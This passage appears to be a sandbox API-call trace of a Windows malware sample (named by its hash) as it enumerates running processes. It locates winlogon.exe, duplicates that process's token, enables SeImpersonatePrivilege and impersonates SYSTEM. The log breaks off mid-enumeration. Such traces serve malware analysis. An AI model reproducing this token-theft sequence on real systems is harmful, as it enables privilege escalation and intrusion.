pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.610] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc8) returned 0x100 [0239.610] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.611] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x179188) returned 1 [0239.611] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" | out: _Dest="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe") returned="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" [0239.611] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.611] CloseHandle (hObject=0x100) returned 1 [0239.611] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.612] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x0 [0239.612] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xe4c) returned 0x100 [0239.612] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.612] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\audiodg.exe", lpdwSize=0x179188) returned 1 [0239.612] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\audiodg.exe" | out: _Dest="C:\\Windows\\System32\\audiodg.exe") returned="C:\\Windows\\System32\\audiodg.exe" [0239.612] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.612] CloseHandle (hObject=0x100) returned 1 [0239.612] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 1 [0239.613] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x100 [0239.613] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0239.613] wcscpy (in: _Dest=0x178f58, _Source="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" | out: _Dest="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" [0239.613] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.613] CloseHandle (hObject=0x100) returned 1 [0239.613] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xed0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdvancedRun.exe")) returned 1 [0239.614] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdd0) returned 0x100 [0239.614] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe")) returned 0x35 [0239.614] wcscpy (in: _Dest=0x178f58, _Source="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" | out: _Dest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" [0239.614] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.614] CloseHandle (hObject=0x100) returned 1 [0239.614] malloc (_Size=0x11a00) returned 0x1eba760 [0239.615] free (_Block=0x1ead3d8) [0239.615] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0239.616] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd7c) returned 0x100 [0239.616] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.616] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\servicing\\TrustedInstaller.exe", lpdwSize=0x179188) returned 1 [0239.616] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\servicing\\TrustedInstaller.exe" | out: _Dest="C:\\Windows\\servicing\\TrustedInstaller.exe") returned="C:\\Windows\\servicing\\TrustedInstaller.exe" [0239.616] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.616] CloseHandle (hObject=0x100) returned 1 [0239.616] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0 [0239.617] CloseHandle (hObject=0xfc) returned 1 [0239.617] _wcsicmp (_String1="", _String2="C:\\Windows\\system32\\winlogon.exe") returned -99 [0239.617] _wcsicmp (_String1="", _String2="C:\\Windows\\system32\\winlogon.exe") returned -99 [0239.617] _wcsicmp (_String1="C:\\Windows\\System32\\smss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned -4 [0239.617] _wcsicmp (_String1="smss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned 16 [0239.617] _wcsicmp (_String1="C:\\Windows\\System32\\csrss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned -20 [0239.617] _wcsicmp (_String1="csrss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned 57 [0239.617] _wcsicmp (_String1="C:\\Windows\\System32\\wininit.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned -3 [0239.617] _wcsicmp (_String1="wininit.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned 20 [0239.617] _wcsicmp (_String1="C:\\Windows\\System32\\csrss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned -20 [0239.617] _wcsicmp (_String1="csrss.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned 57 [0239.617] _wcsicmp (_String1="C:\\Windows\\System32\\winlogon.exe", _String2="C:\\Windows\\system32\\winlogon.exe") returned 0 [0239.617] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0x1a4) returned 0xfc [0239.618] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x75ca0000 [0239.618] GetProcAddress (hModule=0x75ca0000, lpProcName="CreateProcessWithLogonW") returned 0x75ce52e9 [0239.618] GetProcAddress (hModule=0x75ca0000, lpProcName="CreateProcessWithTokenW") returned 0x75ce531f [0239.618] GetProcAddress (hModule=0x75ca0000, lpProcName="OpenProcessToken") returned 0x75cb4304 [0239.618] GetProcAddress (hModule=0x75ca0000, lpProcName="DuplicateTokenEx") returned 0x75caca24 [0239.618] OpenProcessToken (in: ProcessHandle=0xfc, DesiredAccess=0x2, TokenHandle=0x179198 | out: TokenHandle=0x179198*=0x100) returned 1 [0239.618] DuplicateTokenEx (in: hExistingToken=0x100, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x179188 | out: phNewToken=0x179188*=0x104) returned 1 [0239.619] CloseHandle (hObject=0x100) returned 1 [0239.619] CloseHandle (hObject=0xfc) returned 1 [0239.619] FreeLibrary (hLibModule=0x75800000) returned 1 [0239.619] free (_Block=0x1eba760) [0239.619] GetCurrentProcess () returned 0xffffffff [0239.619] wcscpy (in: _Dest=0x1789a0, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0239.619] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0239.619] wcscat (in: _Dest=0x1789a0, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0239.619] wcscat (in: _Dest=0x1789a0, _Source="advapi32.dll" | out: _Dest="C:\\Windows\\system32\\advapi32.dll") returned="C:\\Windows\\system32\\advapi32.dll" [0239.619] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x75ca0000 [0239.621] GetProcAddress (hModule=0x75ca0000, lpProcName="OpenProcessToken") returned 0x75cb4304 [0239.621] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x1791dc | out: TokenHandle=0x1791dc*=0xfc) returned 1 [0239.621] GetProcAddress (hModule=0x75ca0000, lpProcName="LookupPrivilegeValueW") returned 0x75cb41b3 [0239.621] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x1791d0 | out: lpLuid=0x1791d0*(LowPart=0x1d, HighPart=0)) returned 1 [0239.622] GetProcAddress (hModule=0x75ca0000, lpProcName="AdjustTokenPrivileges") returned 0x75cb418e [0239.622] AdjustTokenPrivileges (in: TokenHandle=0xfc, DisableAllPrivileges=0, NewState=0x1791cc*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0239.622] GetLastError () returned 0x0 [0239.622] CloseHandle (hObject=0xfc) returned 1 [0239.622] FreeLibrary (hLibModule=0x75ca0000) returned 1 [0239.622] ImpersonateLoggedOnUser (hToken=0x104) returned 1 [0239.622] CloseHandle (hObject=0x104) returned 1 [0239.623] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x104 [0239.626] Process32FirstW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.627] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.627] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0239.627] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x4) returned 0xfc [0239.627] wcscpy (in: _Dest=0x17872c, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0239.627] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0239.627] wcscat (in: _Dest=0x17872c, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0239.627] wcscat (in: _Dest=0x17872c, _Source="psapi.dll" | out: _Dest="C:\\Windows\\system32\\psapi.dll") returned="C:\\Windows\\system32\\psapi.dll" [0239.627] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\psapi.dll") returned 0x75800000 [0239.629] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleBaseNameW") returned 0x7580152c [0239.629] GetProcAddress (hModule=0x75800000, lpProcName="EnumProcessModules") returned 0x75801408 [0239.629] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleFileNameExW") returned 0x758013f0 [0239.629] GetProcAddress (hModule=0x75800000, lpProcName="EnumProcesses") returned 0x75801544 [0239.630] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleInformation") returned 0x75801420 [0239.630] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.630] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="", lpdwSize=0x1795c8) returned 0 [0239.630] wcslen (_String="\\systemroot") returned 0xb [0239.630] wcslen (_String="") returned 0x0 [0239.630] wcscpy (in: _Dest=0x179398, _Source="" | out: _Dest="") returned="" [0239.630] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.630] CloseHandle (hObject=0xfc) returned 1 [0239.630] malloc (_Size=0x4680) returned 0x1ea0048 [0239.630] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.631] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0xfc [0239.631] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.680] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\smss.exe", lpdwSize=0x1795c8) returned 1 [0239.680] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\smss.exe" | out: _Dest="C:\\Windows\\System32\\smss.exe") returned="C:\\Windows\\System32\\smss.exe" [0239.680] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.680] CloseHandle (hObject=0xfc) returned 1 [0239.680] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.681] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14c) returned 0xfc [0239.681] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.681] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x1795c8) returned 1 [0239.682] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\csrss.exe" | out: _Dest="C:\\Windows\\System32\\csrss.exe") returned="C:\\Windows\\System32\\csrss.exe" [0239.682] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.682] CloseHandle (hObject=0xfc) returned 1 [0239.682] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.682] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x170) returned 0xfc [0239.682] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.683] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\wininit.exe", lpdwSize=0x1795c8) returned 1 [0239.683] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\wininit.exe" | out: _Dest="C:\\Windows\\System32\\wininit.exe") returned="C:\\Windows\\System32\\wininit.exe" [0239.683] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.683] CloseHandle (hObject=0xfc) returned 1 [0239.683] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.684] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0xfc [0239.684] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.684] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x1795c8) returned 1 [0239.684] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\csrss.exe" | out: _Dest="C:\\Windows\\System32\\csrss.exe") returned="C:\\Windows\\System32\\csrss.exe" [0239.684] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.685] CloseHandle (hObject=0xfc) returned 1 [0239.685] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.685] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1a4) returned 0xfc [0239.685] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.686] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\winlogon.exe", lpdwSize=0x1795c8) returned 1 [0239.686] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\winlogon.exe" | out: _Dest="C:\\Windows\\System32\\winlogon.exe") returned="C:\\Windows\\System32\\winlogon.exe" [0239.686] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.686] CloseHandle (hObject=0xfc) returned 1 [0239.686] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.687] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0xfc [0239.687] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.687] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\services.exe", lpdwSize=0x1795c8) returned 1 [0239.687] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\services.exe" | out: _Dest="C:\\Windows\\System32\\services.exe") returned="C:\\Windows\\System32\\services.exe" [0239.687] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.687] CloseHandle (hObject=0xfc) returned 1 [0239.687] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.688] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0xfc [0239.688] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.688] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\lsass.exe", lpdwSize=0x1795c8) returned 1 [0239.689] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\lsass.exe" | out: _Dest="C:\\Windows\\System32\\lsass.exe") returned="C:\\Windows\\System32\\lsass.exe" [0239.689] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.689] CloseHandle (hObject=0xfc) returned 1 [0239.689] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0239.689] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e0) returned 0xfc [0239.689] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.689] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\lsm.exe", lpdwSize=0x1795c8) returned 1 [0239.690] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\lsm.exe" | out: _Dest="C:\\Windows\\System32\\lsm.exe") returned="C:\\Windows\\System32\\lsm.exe" [0239.690] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.690] CloseHandle (hObject=0xfc) returned 1 [0239.690] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.690] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0xfc [0239.690] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.690] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0239.691] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0239.691] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.691] CloseHandle (hObject=0xfc) returned 1 [0239.691] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.691] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x288) returned 0xfc [0239.691] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.691] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0239.692] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0239.692] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.692] CloseHandle (hObject=0xfc) returned 1 [0239.692] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.692] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2b8) returned 0xfc [0239.692] 